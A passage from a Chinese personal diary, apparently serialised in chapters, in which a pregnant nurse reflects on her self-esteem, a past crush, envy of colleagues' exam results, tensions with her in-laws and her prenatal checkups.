    所以就在这种心累的状态下过完了我最轻松的几年。无语了，那段时间拿来学习多好啊！至少可以增长技能。可是每个阶段有每个阶段成长的必修课。生活全靠领悟啊。等我过了这个阶段我又会不停地后悔，这个阶段又走错了什么路。要是怎么怎么样，我会不会变得不一样？可是没有任何意义。我需要去接受现实。
    我知道我最后悔的事情，就是我自己不明白我的价值，我认为自己可有可无，没有活着的价值。在那个很小的年纪。所以我有了很强的天分，可是却没有发挥它很大的价值，没有用它去创造受益，没有用它去改变我的未来。尽管我可能在很多未来的可能，可是我被我也自己限制住了。这个世界有很多很多的书，很多很多的的技能，可是学习到我心里的书，我需要找到它。我还没有找到。
    如果我上了那年的学，我可能会因为题目做不出来而抑郁，也有可能题目做的不怎么样，可是我哦变成了一个很有耐心的人，也有可能我会交很多的朋友，有可能在新的环境里，我能越来越自信，对生活充满勇气，有一个不一样的未来。可是事情总是事与愿违，老天爷它帮我选择了一个更奇怪的旅途。我总是过着事与愿违的生活，与事情。有很多很多难以启齿的烦恼，说出来又很可笑，说不上来，又自寻烦恼。很奇怪的路。
    实现不了自己想要的生活，满足不了自己的精神需求，整天担惊受怕。怕被抛弃，怕自己被孤立怕自己没有用。各种各样的心情。很特别，不敢拥有情绪，不敢说什么话。
    每个人的人生剧本都是不一样的。可是我没有合群。不管我想不想融入一个群体里。很多的规则都在告诉你，需要学会很多东西，需要变得更加的成熟，那样子会有很多很多的朋友，那样子自己会过得更好。心情也更好。凡事有利可图，就可以很好的选择各种各样的方式，可能是因为能量比较强大吧！可是我并没有那么充足的能量。不管是曾经，还是现在还是过去。
    我可能看得到别人的方式是怎么样的，会有什么样子的作用，可是我并没有办法成为这样子的人。我也不明白为什么我成为不了？可能我感觉心里比较累吧！
    有可能是我的认知问题。我会认为为了利益去做一些改变自己的事情，是一件很有负担的事情，可是如果不改变自己的生活方式，那么又会到一种很累很累的状态，就是因为缺乏那份利益才会看到那份有利的一面吧！谁不想随心所欲的生活呢？我想别人也想。没有任何负担，没有任何心理障碍想说自己想说的话，做自己想做的事，可是那样子的事很难做到吧！
    说话做事考虑到别人的人，自己才会被别人考虑到，爱需要自己发出去才能有爱被收回来。有的东西发出去了，也收不回来，心里也没有难受的感觉。这些都比较困难？不带任何功利心去对待每一件事情，不需要过多的思考自己这样子是否会变得更加好，只是纯粹因为喜欢才有能量做。这样子的方式是我心里面的动力吧！可是折腾来折腾去，我也没有找到能让我心里能量满满的事情，没有任何利益相关的只是因为自己喜欢的事情。
    有的时候我感觉自己是真实的。面对世界会感觉自己是真的一个人，有一种体验感。有的时候我面对自己会认为自己是一个虚假的人，很多东西都不真实。为什么我会有这样子的想法呢？也许我认为这个世界是假的，是在逃避一些让我感觉很难受而又无法承受的事情，而有的时候我感觉这世界很真实，是因为我能够承受现阶段的快乐和痛苦的事情。所以我会认为我在过着很真实的生活。而当我感觉很痛苦的时候，我会认为我在过着假的生活，让我一脸懵逼的心灵有一点点保护的感觉。也许吧！

 第71章

    我突然想起了一件事情。就是一件负能量满满的事情。如果我回到了那个时候，也有了资金，可以让我继续学习。那么我会继续的去喜欢他吗？
    我想起了曾经。我应该不会继续喜欢吧！
    因为我胆子小，其实我的胆子很小，不敢去做很多很出格的事情，怕会被嘲笑。在梦境里面有一群人指指点点的嘲笑一个女孩子喜欢另一个男孩子的事情，很常见。虽然说很常见，但是我并不想成为其中之一，因为我胆子小，我承受不起。
    第二，他有很多很多的朋友，而我并不喜欢交朋友。那个阶段有一些想象过未来的生活，可能我会像八爪鱼一样只想紧紧的抓住他，并不想他被任何人吸引注意力，包括他同性的朋友，不喜欢对方可以自由自在的玩，不喜欢很多东西。希望对方就像我心里想象的样子活着。我想象出来的场景挺可怕的。这是我放弃的原因之一。
    第三点。我发现自己会慢慢的有很强的控制欲，这种欲望好像只有我自己看得到，我挺讨厌这样子的我自己的。
    第四点，我给不了成长的养分，只是在吸收他的养分而已。我很喜欢学习。可是我并没有学习的能力，我学习的能力可能是一种僵硬的模仿或者其他，我并没有属于自己的独立思考，更多的时候只是在询问别人而已，没有自己真实热爱的事情。只是大家都认为很好，所以才会去学，可是我心里并没有这种想法，或者并不理解这种想法。
    第五点。我并没有热爱生活的动力。我不太会做饭，也不会炒菜，我学习了很久。这种情况是因为心理状态。这是看电视剧吓出来的。法治频道。很多人的家庭生活都过得很不如意，有家暴，各种各样的原因。让我的心里面对于结婚长大来说都特别的充满了愤怒和恐惧，我讨厌做饭，讨厌做女孩子应该做的事，因为没有任何价值。那是从小而来的观念。而那个阶段我长大了，我突然认为自己这样子一个人，根本不适合他，会给他带来很多的麻烦，根本不太可能给他带来很幸福的体验。所以连开始都不想开始。你在很重要的阶段里遇见了一个人，你很喜欢他，很喜欢很喜欢的那种，然后就看看没有然后了。等待这一段时间过去。对于我来说我的选择其实是非常残忍的，毕竟这是我人生里重要的阶段。可是知道自己的本性是什么样子，还是残忍点好啊！那些难以置信难以治愈的心灵创伤，根本不知道用什么办法解决啊？
    第六点。我不明白为什么那段时间的自己会变得很渴望生病。我好不容易才把自己从疾病里面拖出来的。好不容易健康了一段时间。可是那段时间的心里特别特别的希望自己能成为一个病人，因为病人总是能合理的得到别人的关心吧！可是我并不喜欢疾病那么多的自己。我也不想自己有事没事就生一场病，以博取别人的同情心。
    这是我不能理解的我自己。
    第七点。我很会拉仇恨。我拉仇恨的目的很明确，可以保持平衡。可是我如果和他在一起，那么那些对于我的仇恨会影响到他。我自己被骂就算了，别人如果因为我被欺负，那就不好了。
    第八点。我不知道我人生的意义。我总感觉自己活着没有什么作用。尽管那段时间过去很久很久了，我一直耿耿于怀，很多时候都在对自己的父母家里人发脾气，可是只有自己知道，我发的是自己的脾气。我并不能很好的理解我的心情还有情绪，我和我自己好像生活在同一个世界的两个空间一样，我做出的选择让我自己很不满。我内心里的我充满了抗议，可是却又无能为力。这种感觉很特别。我不知道这个世界里其实还有超我的存在。有一段时间顺风顺水，我还以为我被老天爷所眷顾，就像它所宠爱至极的人一样，很顺利导致我心里总想做点错事，因为太顺利了，我产生了其他的想法，不是很好的念头，我想体会被惩罚的滋味，因为我看到一些其他人他们都在受惩罚，我不太能理解他们，我比较好奇，我看多了，我会在心里嘲笑他们，可是我不应该嘲笑他们的，可是我发现我有这个苗头，我不理解的苗头。所以我去体会了。很难受的感觉。不止被自己攻击，也被别人攻击。好奇怪的人生。
    好奇一段时间就好了。我好像也能明白为什么会这样子了。但愿我能好起来吧！从困境里走出来。
    我很喜欢过一个人，仅仅只是喜欢而已。
    如果喜欢变得有动力的话，那么我会选择靠近的方式去面对吧！任何时候都不会晚，可是我没有这份动力。所以我需要接受现实。接受自己仅仅只是喜欢罢了。
    往后的人生里，需要我自己好好的面对生活，好好的学习，有压力了，也好好活下去吧！
    我知道很多的东西对我来说都很难受很难过。我希望梦境里出现的场景会是美好一点的。
    希望永远天各一边，你在我看不到的那一边过得幸福。相濡以沫不如相忘于江湖。

 第72章

    今天去做了四维。做了比较久。走了几遍。不过还好上午就做完了。晚上晚班。做出来的宝宝拍的脸有点丑丑的。不过医生说一切正常。比我计算的时间大了一天，还不错。
    做四维的时候我一直好困啊！索性边做四维边睡就睡了一觉。好多了。
    猜我家宝宝应该是女儿。最近家里人好开心，很期待是一个女宝宝。我自己感觉也是一个女宝宝。因为我一想到是男宝宝就挺想哭的。难受的不行。感觉应该是个女宝宝。最近看了一下女宝宝的衣服挺萌的，女孩子也挺不错的嘛！
    困了困了，好好休息吧！
    我还有妇产科的题目还没有做完，还有学习强国没有做，还有一些笔记没有做完。还有书需要看，十月份考专升本。医学院的。然后需要一点点学习准备六年后的主管护师考试。因为脑瓜子比较轴所以需要提前几年做准备，也不用多久，每天十个题左右，应该可以吧！
    驾照需要去学。我真的好讨厌考驾照，我好害怕，我胆子小。科目一还没有考，我需要去学习了。同事都去学了。
    昨天晚上吃了很多瓜子，喉咙有点不舒服，以前吃瓜子都不会啊！可能是因为我太晚吃瓜子了吧！
    。。。。。。。。。。。
    今天好生气啊！也有可能是我太敏感了。
    今天弟弟在我吃饭的时候拔我的裤子，我讲了他，然后他又在桌子底下玩，玩就算了，走我身边靠。我真的生气了。怎么小孩子会没有一点点防备呢？我又不是他亲姐姐，我是他嫂子。烦躁啊！虽然才五岁，但是真的很讨厌小朋友随便拔我衣服。
    然后老公姐姐过来帮忙搬东西。她的家庭条件比我的好，随随便便就能说出不要的扔掉。这句话就像是一个富有的人对一个穷的吃不起饭的人说:怎么你不吃肉啊？一样，听的我真的好膈应啊！
    然后家婆又在讲我，说我买了好多东西。听了我有点子气。因为一开始结婚之前就讲了我是什么样的人，她自己说了不介意的，现在又讲这个，日子还过不过了。
    老公打游戏，突然问我明天上不上班？我说上班啊！刚才在吃饭都讲了。然后突然又说:看我明天不把你的腿打断。我听了之后一脸懵逼，问他:上班为什么要打断我的腿？如果你上班打断你的腿，你不是也不能上班了吗？结果这家伙好凶:我在和我队友讲话！好气哦！一瞬间眼泪就来了！
    烦躁，结婚绝对不是什么好事！和老公讲了他弟弟的事，结果他说弟弟是小孩子。和老公说婆婆的话，叫我不要怼婆婆。我哪里怼了，本来就是嘛，还要讲我，日子过不过了？
    气！

 第73章

    今天考完了操作。
    这个就是考心理素质的吧！我的心理素质真的很奇怪啊！一来事就半夜急得睡不好觉。然后等到关键时刻就掉链子。这个毛病特别难改。
    今天碰到了一些不爽的事。第一件老是会有人纠结我的工资。告诉对方工资很少，对方不信，叫它看我工资条它又不看。很烦。感觉很烦是因为我对情商的感觉很低。我知道很多人对我很不满。因为在他们的猜测当中我过得比别人更好。而他们过得真他妈的凄惨。很多时候对别人的感受我都感觉很无力啊！因为我的毛病就是人家过得不开心，很希望别人开心起来，可是这样子我就不开心了，我没有办法帮它去承担责任啊，我怎么也想不通为什么我会变得越来越难受。今天好像好一点了。因为我也在抱怨。不过我也不想讲什么！
    我在比较清闲的岗位，其实我过得还开心，虽然钱很少，但是我的能力毕竟不能和临床上的护士比，而且我真的过敏，又不是假的，叫一个对医院环境理化因素不适应的人去临床上班真的是很折磨，虽然我其实也挺想去那里上班的，因为我比较穷，我的脑子虽然不太灵光，但是我明白这个世界上没有免费的午餐，包括工资之类的，要么付出脑力劳动，要么付出体力劳动。而我能够付出的劳动值不是很高，所以相应得到的就比较少，想要多一点就需要付出多一点。就是这个道理。虽然很多书什么穷爸爸富爸爸，各种理财之类的，书是非常有道理的，可是我的思维模式真的跟不上，能够达到像穷爸爸一样的生活其实就已经是非常不错了。生活工作也是这样子，如果我强行去不适应的地方工作，那么不仅仅是对我医院不好，对我也不好。我对我的安排是非常满意的。尽管我其实很年轻，这种岗位一般都是老人家待的地方，也比较适合老一点的同事待，可是我又不想转行。真的进了卫校，我的目标其实很远大的，只是一直都不想讲，我想知道我学护理究竟能走多远？可能我上辈子比较羡慕护士的生活吧！所以就选择了这个行业，可是这个行业并不是我想象的那么美好。病人看护士可是会认为对方闪闪发光的，可能电视剧看多了，可是到了真实的场景里，真的是很惨。心理和精神上的惨，然后再去看看其他行业，也是很惨，可能是社会发展的节奏特别的快，每个行业都卷的不行，导致无论什么行业都惨不忍睹。这就是资本的力量。
    所以大家都不开心了吧！很多的病就长起来了吧？这是我对疾病的想象而已。因为小时候看过一些书，关于养生的。家里人说年轻的人不适合养生，需要变得更有干劲，等老了再养。然后学习了一部分之后就么有学习了。只记得很多关于天气，衣食住行的内容，还有各种运动之类的。真的去行动的话，确实挺难的，而且也需要花不少的精力，才能让自己仅仅某一个阶段变得很健康，不生病。这还是长期坚持的效果。而长大了，再去看这个世界，挣钱养家不容易，根本没有办法去改变现状。从衣食住行方方面面。整个大环境都比较忙，忙着挣钱，根本没有时间去照顾自己，也没有时间去研究那种东西对自己的体质更好。
    每个人的身体都是不一样的，吃什么东西都特别的有讲究。像我一吃白萝卜就会感冒然后就需要去打吊瓶，小时候经常吃，其实我不喜欢吃白萝卜，可是家里人教导不能挑食更有益健康。等长大了看了些书才明白自己的身体比较寒凉，气血不足，吃这个会导致更严重一点。可是那个时候家里人也是好心，他们也不懂这个道理。像妹妹的体质和我的体质就不一样，我的脾胃可能不太好，湿气特别的重，拉的屎都是沾厕所的，然后妹妹的不会，可是她的体质到了某一种天气就会打嗝，也经常需要看医生治疗调理的那种。
    我就很害怕看医生，可能小时候看多了吧！所以我的身体状况其实不怎么样，但是我也不调理。一来现在怀孕了，我不敢乱吃东西，二来我的状态时好时不好，不要说经常吃饭了，能保证一日三餐都算不错了，我也很想知道为什么我会有这样子？可能是心理问题，也有可能只是太累了。然后忘记了。总之就是一副奄奄一息的像霜打的茄子一样无精打采的。也有可能是体质问题。反正很多可能性吧！
    又扯远了！回到同事会比较工资的问题。可能它认为它过得比较惨吧！还有其他同事，我以前不想评价，今天想，我认为对方是绿茶级别的，不过更多的人都明白这一点，因为都是生活所迫吧！需要很多的钱，可能需要交房贷，所以很多的哲学上的道理可能大家都懂，但是谁都不愿意去执行，因为对别人好就是对自己的不好，我不是对方异父异母的亲兄弟，对方也不是我异父异母的亲兄弟，所以大家都不是什么好人，好强的竞争能力，这种竞争能力激烈其实很好，因为单位也会变得越来越有活力，可是大家也比较累。没有办法拥有不累又有活力的事情这是一件很遗憾的事。
    就像有的游戏一样，充了钱的也打不过那些人。生存模式是这么残酷的没办法。哪里都一样，要么忍，要么狠要么滚。狠和滚都不是我想要的，只能忍耐了。因为我的竞争能力确实很低。内心的本质就是不强势。没有主见，自卑感重，反正一堆的毛病。无论看多少书，怎么治都是一个样子。也许我并没有病呢？这也是一种想象而已。
    反正我是幸福的我也是不幸福的，看自己怎么看待我的环境。我成为了我小时候想要成为的人，成为了一名护士。可是我并么有做的很好，相对于其他人来说是干的很垃圾的存在。这又是不幸福的一件事。我的工资相对于来说比较低，可是我在比较清闲的岗位上班，我没有办法接触理化因素，我在这个岗位不需要接触不适合我的身体的理化因素，所以我又是幸福的。我没有朋友，可是我相对于来说就不需要花太多钱去维系感情，可以节约一些钱好好买自己喜欢的食物。所以我是幸福而快乐的。尽管我的人生其实不完美，不好，哭和流眼泪的时候其实很多，只是眼泪流不出来而已，有的时候痛苦的连情绪都没有了。那些事情谁都有发生过得吧！所以我并没有什么不同，日子也从未改变过，只是今天的我突然想开了。以前看到的是黑暗和阴影，今天看到了另一个角度的世界。更舒服一点而已。
    以前会每天都抱怨，为什么自己不适合这个工作岗位，而我又学习了这个职业，为什么没有排查机制，让别人去更合适的的行业上班，那样子就能节约很多的人力物力，然后自己也会变得更幸福。社会应该也会变得更好。各种纠结痛苦。关于工作生活岗位。慢慢的长大了，明白了很多道理，也就知道为什么了！也许我去了其他岗位上班，我能够做一个很优秀的工作者，在那个适合我的岗位里发光发热，挣很多的工资，可以买很多想要的礼物，可以实现我对人生的需求，可是这不是我心里一直梦寐以求的职业，我可能会过得表面风光，内心里面在一个劲的贬低自己，或者会变得咄咄逼人，表面上过得很好，可是其实心里面很茫然的那种状态，我也不知道怎么形容我所想象出来的我自己。总之就是我做了听从我心里的声音的事，尽管这是痛苦的的，可是对我来说是好的。后悔没有用，这是心灵的指导。听从心里的声音去选择就好。

 第74章

    今天知道了同事，有一些考试考的很烂的消息。有点遗憾。我本来以为她可以至少三门考过去的，明年补考一门就可以了。因为她是属老鼠的，据说今年属老鼠的学习的气运会非常的的旺盛。一般来说今年都会考的还不错。等到成绩出来的时候我有点惊讶。
    看来算命还是不太准啊！还是需要自己努力。也有可能今年的天时其实是有的，因为我发现她今年的福气很好，做事的话，很多老师都比较认可。我看她也还不错。比较欣赏她的优点。也有可能是考试的好运气转化到了工作上？反正不太懂这个。总之虽然今年没有考到，但是明年还有机会考。可以现在努力再一次的加油吧！
    其实知道她的消息的我并不是像我表现的那么美好光明的心态。我知道人家考的很烂的时候，我心里面是有点像阴沟里的臭老鼠一样非常开心的暗戳戳的想笑，因为我心里很阴暗。这是超级真实的我自己，可是我也不清楚怎么回事？总之我花了一些时间去平复我的心情。老实说心里话，同事的优点是有很多很多的，她让我欣赏到了她的优点，也有可能是因为她在我心里太优秀了，我突然知道对方考的很烂，就有一种莫名其妙的解气的感觉。就有一种心里平衡的感觉。很多人我内心里可能都很欣赏对方，没有欣赏过我自己，所以知道人家经历了很烂的事，一方面我又认为对方很可惜，一方面我又很解气。可是我下次在看别人的的优点的时候，也尽量在心里好好夸夸自己，那样子，才不会那么阴暗吧！
    其实也有一点原因。我当时考到了的时候，她好多话语都在说我可能是运气好而已才考到了。听了我是气了很多天，花了好多时间才平复我的心情。不过医学的知识真的挺难的，尽管我花了好几年的时间去学习我仍然认为我没有学会什么。这个太难了。努力肯定有，可是我也真的可能靠运气才考到的吧！应该是运气好。因为我的很多医学上的理解都一般般。所以我用了好几天的时间平复我的心情，之后，也平静的接受了其他人认为我运气好的事。不过别人怎么说我运气好，我也需要好好努力，谁知道我究竟是努力导致我考过去的，还是因为运气好才考过去的呢？这个天才知道。我尽管努力，一切都靠老天爷好好安排吧！
    我需要解决我那个阴暗的情绪。不过我内心很阴暗很正常。因为我一直都是内心这样一个人坏坏的，不算特别的好。而表面上我又看起来很温文尔雅的人。所以我需要去接受这个我真实的我自己。
    我内心深处可能不太服气自己比别人差劲这个事，可是现实不允许，只能那么阴暗了吧！因为内心里很想变得更好，被人尊重，爱与归属的需求，自我实现的需求。可是现实世界很复杂，有很多很多的人，都比我优秀的多，我也认真的看到了别人的优秀之处，有一些优点是能够学到的，有一些优点是我怎么学习都学不会的，那些学不会的属于别人的天分的那种，我就心里起了小疙瘩，很阴暗。可是我又不想去伤害别人，只能在心里好好伤害一下我自己了。我这个人为什么会那么复杂呢？
    我突然想起了一个朋友，她在我考这门的时候，也是和我说希望我等到她来一起考，意思就是说我考不到的意思。听了我真的是很生气啊！气的发了恨，就考过去了。可能面对什么事情，都需要一个看法，自己内心面对事情的看法。如果她当时讲了，而我真的不去练习，认为人家说的对，那么我也就考不上咯，所以别人怎么去对待你其实没有什么太大的意义，最重要的是你怎么去看待别人对待你这件事。总之内心是光明的，世界是光明的你也是光明的。你得到的结果就是美好的。可是这个观念植入心里是很难得，只能不停地暗示我自己，可是我总都有负能量。
    面对学习有，面对家人有，面对工作有。我无法时时刻刻保持心态很好的状态。所以我需要及时的宣泄我的负能量，负负得正。或者需要好好理解我内心里变态至极的阴暗思想。
    前几天和老公聊天，我发现他的工作真的很忙，可是他的人生也真的很精彩。可以听各种各样的人对他讲的故事，我认为他也可以用写出来，一定会是一本很精彩的书吧！可是他说他的文化比较低，他也没有时间写，怕在很多写作大家里面显得很渺小。我想了一下子，有文化的人，看的是有文化的书，我们这种平民百姓也可以看平民百姓的书。毕竟不是所有人的精神层面都一样的，叫我去看红楼梦，我也看不懂啊！水浒传西游记，三国演义，这些书有名的都看不懂，只是都看完了。看电视剧，书水浒传看完了，不过根本看不懂，字全都认识可是讲的什么意思我真的是一点都领悟不到，我有什么办法呢？可是像小说一样的文章，看的是津津有味，而且也学到了很多道理。像快穿文，我学会的就是一个很优秀的人在什么模样的困难里都能找到解决困难的方法，不过看多了又会认为女主角像高中生打幼儿园小朋友的感觉。这就是我对快穿文的领悟。也有一些快穿文，看的我眼泪稀里哗啦的，一些很感动的故事。反正书里面都有。读着读着就明白了。可是这些经历过去了，在脑子里好像也没有很深刻的成长的感觉。我看过一本不知道哪名作者写的名着，书名我也忘记了，关于爱情的，看完了之后，讲的什么事我也不太记得清。可是在看完了之后，对感情没有什么理解，却有一种能量增长于心的感觉，我也不知道怎么形容的感觉。写不出来的感觉，可是教会了我，需要勇敢面对自己内心想要去追求的事情。大概得故事就是:一个女孩子死掉了，她去了一个地方，有摆渡人在引导她去天堂，结果她到了天堂，她爱上了摆渡人，再次去那个地方找那名摆渡人，经历了很多的危险，对生命有损伤，可是也绝不后悔，然后把摆渡人和自己带回了人间。也许她只能过那么一世了吧！可是那样子也不后悔。反正书名我也忘记了，只知道看完了内心里会有很多波动，可是也不太理解为什么会波动？听说这本书是名着，大概这就是名着吧！内容已经忘记了很多，可是它长成了我灵魂里的一部分，尽管我忘记了。
    现在的我没有以前勇敢了。我好像很胆小。怂怂的，也不知道为什么？可能我变得更好了，也有可能是不好的，其实我无法评价我现在是好的还是坏的，我比较希望我是好的吧！可是天才知道天才能评价自己。因为这个世界是有很多角度的，我所能看到的只是我自己看到的的角度，可是并不是全面的。
    所以也不用太纠结这件事了。内心是明亮的，朝着明亮的方向走，天会好好安排的。
    尽人事，听天命！
    今天看了半佛的用商业思维看待婚姻。我和老公结婚是因为看了这个。领悟到的道理是撒泡尿好好照照自己配不配？我本身的家境不是很好。有人说我自己本身很优秀，可是我并么有发现我是很优秀的。老公的家境也比较贫寒。在老公之前和其他人也相过亲，我都认为对方很好，然后就各种不适合没有谈。因为对方的条件在我心里实在是太好了，我认为我配不上吧！碰到老公的时候我都准备好了我有可能嫁给他，贫穷夫妻百事哀，有可能我会遭到暴力和冷暴力，我并不认为我会很幸运的过完这一生，不管怎么样？还是会很努力的生存，虽然我也不知道这种想法是哪里来的，有可能是看的电视剧太多了心理阴影，有可能是现在社会的抱怨太多了心理阴影太多。总之不知道是什么原因？没有想过有一个很好的结局。可是尽管会很烂的结局我也会好好把它经历完的。因为这是自己选择的。
    好好提升自己的利他属性，转化为利己。对于结婚的感悟就是其实我的脑子并没有和之前有什么太大的区别，脑子还是这个脑子，和结婚之前也没有什么区别，只是突破了自己，看到了自己到了这个阶段，仍然是一个样子的。这种感觉怎么形容呢？就是以前你是你，你在上网幼儿园，你把幼儿园该会的都会了，有点无聊了，就到了上一年级的时候，上了一年级的你仍然你还是你，解决了某一阶段的问题就到了二年级。时间在不停的变化，可是你还是你自己。没有什么区别，小说里面那种很有趣的事情并没有发生，故事里面各种痛苦至极的事情也没有发生，童话里面的美好生活也没有发生。可能我比较冷静？也许吧！随缘吧！
    生活需要自己好好思考，思考怎么过接下来的日子。那些在很小的时候很优秀的人，他们长大了一样很优秀。而我小时候一般般，长大了也会一般般。我慢慢的平静的接受了这个现实。我其实很普通。然后面对生活里的事情里需要更多的思考。思考怎么对对方更好，思考怎么让自己更舒服。嗯大概就是以后的日子了。
    好像有点无趣，可是有趣的东西代价太大了，还是这样子就好，好好攒钱买房，买车。然后学会摄影，做好很多的饭菜，像网红款，一样的。番茄虾滑之类的，做自己喜欢的事情，然后规划好自己和家人时间。大概吧！想办法去实现自己想要实现的事。就这样子吧！
    也许是小打小闹，也许只能让自己变得开心一点，也许并不能做很大的事，不过这样子就好了吧！足够了吧！

 第75章

    昨天好饿啊！
    我在等我老公，结果等的我整个人都不好了，中午吃的很饱，然后等了几个小时就有点低血糖的感觉。然后我们一起去吃晚饭，饭吃了很多，嗑瓜子磕了一晚上，我和老公都很累，他是上班累，本来我们还有其他事需要做的，结果没有去。然后晚上他就很早睡着了。我今天早上踢他都不醒。一个劲的抱怨他好晚起床，搞得我上班好赶。因为换了房子，去家公家婆那里住，那里离我上班好远啊！家婆也很早辛苦。晚上很晚才回来，然后还要给弟弟做饭吃。没给他做饭他就一直闹。然后早上很早起床做饭。这就是结婚的日子。听老师说孩子出来了之后，这就是日常生活。我的天呐，有点累啊！
    等以后我小孩子出来咯，她要是晚上闹饭吃，我是给她吃还是不给她吃呢？这个让我很纠结，不过我感觉应该会给她做，因为老公他也是半夜突然会饿，想吃东西的人，不过我没有做很晚的饭的习惯，所以也不知道家婆会做给他吃，我就没有做。看到了弟弟的样子，我才知道原来如此。可是我感觉晚上十一点左右做饭真的很累啊！
    看来以后需要习惯。
    今天他买了好多果子给我吃，都是很贵很贵的，其实我都准备好了，等几个小时的，准备了苹果。结果果子很好吃。
    昨天家婆做的冬瓜瘦肉汤，特别好吃。吃了很多，而且味道不咸。今天早上起来，脚就没有那么肿了。对的，我现在怀孕六个月了，就脚肿了。特别的不舒服。测了很多情况都还不错。没有什么异常，但是就是脚会肿，有的孕妇，我看她们脚就从来没有肿过。可能个人体质不一样吧！听说这是怀孕的正常反应，等到生完了宝宝，脚就不会肿了。还没有脚肿的时候听我同事讲了很多脚肿的事。到了一定的的时间，脚肿的可以穿42码的鞋子，平时的脚35码有点夸张。没经历过，不太懂，可是看样子我并不是非常希望我也这样子。也比较辛苦，家公说家婆怀孕的时候，哪里都会去，所以身体特别的好，生宝宝的时候也特别的顺利，希望我多走走，可是我好希望人家陪我走啊！可是老公下班了没时间，都很晚了，我自己的话真的很懒的去动。走了我感觉脚很酸。
    昨天看到了一些朋友考的很好很好的事，弄的我百感交集。有一个朋友，我看到她的成绩是比较平静的，有一个朋友看到她的成绩我是很嫉妒的，心里不想去夸奖她，但是也不得不佩服她确实考的很不错，花了很多精神，很用功，也学着的很不错，然后另外两个朋友考的很好，心里是非常佩服的，没有任何嫉妒不满等各种情绪，我真的好奇怪啊！有一种我也需要抓紧考试，认真学习的感觉。我想我可能心境上提升了一点点。会对别人产生佩服的感觉。也有可能是因为我们的层次不一样。另外两个朋友，她们考的是比我上一级的考试，她们考的很好就会有佩服的感觉，前面两个朋友，她们和我考的是同一种考试，而且我还先考，我对于考的比我差但是过了的人，我的内心是平静的，对于比我考的好的晚辈，有一点点不服气？应该也没有吧！之前我们出成绩的时候一大堆的人考的比我厉害多了，我也是很佩服的，为什么到了她那里我会有一点点不满呢？好想搞懂啊！搞不懂就算了吧！有亿点点不爽！不过不知道情绪是哪里来的？我需要调整自己的状态。好好的心态，我不太想对别人有很不好的想法，因为这些想法对我来说没有益处，如果我想到她考的那么好，我心里会变得越来越努力越来越有动力，那么她考的好这件事对于我来说就是很有益处的。尽管心里会有不满不舒服，可是对我来说也是动力，可以让我花更多的时间在自己的学习里面。而我感觉我对她考得好这件事，有一点点不满，可是我不理解这种不满，不满的情绪是怎么来的呢？她也是花了好多时间精力群努力学习的成果。很用功为什么会不满呢？而且人家比我小，比我小还考的比我好的其实也很多，为什么我单单就会对她感觉到不满？
    真的很奇怪呢？我想起来了一些事情。之前她讲过我一些什么？不过我不太懂，可是情绪里有一点点奇怪，导致我对她的印象不算特别的好，一种很想对她好的感觉，可是又有点不满。我也不知道为什么？有关于她的梦境也不算特别的美好的感觉，也许是因为我心里对她有一点点意见，可是我也不知道是什么意见？那种不满藏在心里很久了，时间虽然过去了很久，但是我并没有把那种情绪消磨掉，无法释怀的那种。因为她的家境比我的更好一点，她也知道我的家境是什么样子，有一天她碰到了不好的事情，被批评了，然后她说我有病因为我在笑她，可是一般情况下，我面对别人很惨的样子是不会发生在这样子的事情的，可是那天就发生了这种事情。而且她的心情不是很好，我感觉她把她的负能量传递到我身上了。可是我确实笑了，可是一般情况下，我不太会笑话别人，因为我比对方惨我笑不出来，可是那天就是很奇怪。我那天没有讲什么，可是看到对方的情绪也就变了，变得不太喜欢对方，因为她可能会请我吃蛋糕，可是对方的心里其实不是很喜欢我，我有了这种认知。当对方很烦或者遭遇到很不爽的事情，她可能会把她的负能量传到我这里，虽然我明白很多人都会这样子，自己过得很不爽，碰到了问题，可是没有办法解决，或者没有想到办法解决就会把压力宣泄到另一个弱者那里，就像家长在工作上碰到了很累很累的事，然后回家就会宣泄到孩子身上的感觉。其实人非圣贤孰能无过，即使是我自己在运气很好或者碰到了很好的事情时也确实是很好相处的很不错额到可是当我也碰到了很难过的事情，或者很糟糕的事情。我也是会宣泄到比我更小的更弱小的人身上，像我弟弟，或者妹妹，向他们身上宣泄自己的压力。这样子的事情是不好的，可是我好像不知道怎么改变，我既没有办法把情绪宣泄到那个使我心里不舒服的人身上，也没有办法把它消化掉。这就是我的无能之处吧！虽然不想承认与接受它，但是我真的也就是这个样子的人。面对我感觉比我强大的人，他们有造成让我不满的事，我会选择闷不啃声，在碰到比我弱小的人，我会把那种不满宣泄到他们身上，我并不是一个很优秀而美好的人，我知道我有足够的烂。我对别人对我的不满，没有平静的接受，融化他们内心的不适，在面对别人对我有意见时，我也没有办法平静的接受它。我能够看得清我自己也好，只是我怎么样才能在这个心境里面变得更好呢？
    我昨天看到的高敏感内向的人，和隐形自恋患者的人相似之处，我认为我很久以前就是高敏感的人后来慢慢的变成了隐形自恋人。两者的区别就是高敏感的人会特别的容易共情，别人除了很难受的事情，我会变得感同身受，特别的强烈的那种感觉，后来慢慢的我就变成隐形自恋了。为什么会变成这样子呢？隐形自恋就是对一些事情会变得很有攻击性，像别人出了一些很好的事情，我会心里不满。不爽，很久以前我好像不是这样子的啊，不知道为什么？难道人的性质会发生改变吗？还是我其实两种性质都有，只是这种性质藏起来了，那种性质显示出来了而已呢？也许这样子解释更加的合理。
    我很多很多不满，我需要去选择消化这种情绪。昨天看了解决方法，不过我没有看懂，大概是找自己的优点吧！变得有攻击性就是因为看别人的优点看的太多了，而看自己的缺点看的太多了，内心里面满满的负能量，压的自己喘不过气的感觉，然后不在沉默中爆发就在沉默中变态，后来就变得看的别人过得好我就不满。也许是情绪这种逻辑吧！
    所以我需要提升自己的自信心，闲的没事多夸一下我自己，自信心到了一定的程度那么我就不会对别人不满了。毕竟每个人都是不同的，我不需要长成别人的样子。长成别人的样子，也特别的不爽。
    找一找自己的优点吧！
    第一点，今天我做到了好好表达自己的情绪，不会把它藏在我心里发霉。这是一件很好的事情，只要心里坦坦荡荡的，就不会做很严重的噩梦，不然我的情绪只能藏在梦里展现出来。
    第二点我对待自己会变得更加的诚实，不会藏住自己的想法了。
    第三点我早上做完了学习强国，不拖到晚上是一件很爽的事，做的好。而且我发现早上和晚上的强国题目都并不是特别难，虽然并没有在四人赛得到的分数很高，但是体验感很不错。
    第四点在老师讲未来的生活很辛苦的时候，没有感觉到压力和心情很差，因为我已经准备好这种心态去面对未来的生活了。准备好了！有压力就选择好好面对，毕竟逃不掉的。
